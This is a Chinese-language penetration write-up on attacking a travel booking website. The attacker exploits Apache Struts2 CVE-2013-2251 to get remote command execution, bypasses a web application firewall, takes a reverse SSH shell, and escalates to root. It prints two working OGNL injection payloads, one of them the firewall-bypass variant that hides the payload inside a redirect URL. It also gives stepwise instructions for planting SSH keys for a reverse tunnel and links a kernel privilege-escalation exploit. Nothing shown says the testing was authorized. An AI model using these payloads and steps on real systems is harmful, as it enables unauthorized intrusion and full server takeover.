一次绕过防火墙获取RCE以及提权到root权限的渗透过程

本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之， 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞，允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。

现在，当这个漏洞以病毒式疯狂传播时，主要的应用防火墙厂商开始更新它们的规则引擎和检测技术，以防止它发生。 但是作者不仅能够绕过防火墙并获得远程代码执行，还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。

当作者在测试旅行预订网站时，是 因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用，只需检查以下易受攻击的参数-“action, redirect,redirectAction”和正确的有效攻击负载，通过google找到利用poc的博客（必须构建一个OGNL表达式），http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ，下面是用于运行命令“ifconfig”的有效负载。

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

但正如预料的那样，它被应用防火墙阻止了，并将重定向到一个bot机器页面 。

当这样的事情发生在作者身上时，正如前面指出的那样，知道哪些参数易受攻击，其中之一是在上述请求中使用的“redirect”参数。 “redirect”，是的，你觉得它是正确的，让我们尝试在这里重定向，只是把它重定向到http：//www.goal.com

正如你所看到的那样，作者得到了302重定向到位置http://www.goal.com ，所以之前的ifconfig命令有效载荷被阻止了，这个重定向方法，给了作者一个绕过防火墙的思路，所以，将上面的有效负载进行修改如下：

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

并发起请求：

下面显示了能够绕过防火墙并获得运行的“ifconfig”命令输出信息：

下一个目标是获得服务器的远程shell，作者使用反向SSH隧道和公钥认证来尝试并获取shell，它允许SSH用户在不输入密码的情况下登录。 因此，作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys，为了获取授权身份，并且获取为反向ssh隧道，还必须添加受害ssh服务器的id_rsa.pub公钥。 为了阐述上面2个关键词的概念并理解公钥认证的概念-----id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。

第一步 - 使用RCE查找受害服务器的id_rsa.pub文件位置

第二步 - 将authorized_keys从受害者服务器复制到攻击者服务器上

第三步 - 将修改后的authorized_keys从攻击者服务器复制回来，通过读取id_rsa.pub获得shell.

最后一步 - SSH在攻击者机器上使用反向隧道，所以运行了如下命令行：

能够获得服务器的远程shell,但没以root登陆的权限，这就意味着只有有限的权利访问文件和命令执行。 现在为了获取以root用户身份登录的权限，作者首先查看当前受害机器上运行的内核版本是什么：

因此发现了内核版本是2.6.32，通过google查找到利用的CVE，该CVE可

容易进行账户提权和漏洞利用----https： //github.com/realtalk/cve-2013-2094 ，最终够获得root用户权限。

这就是如何通过利用apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程shell。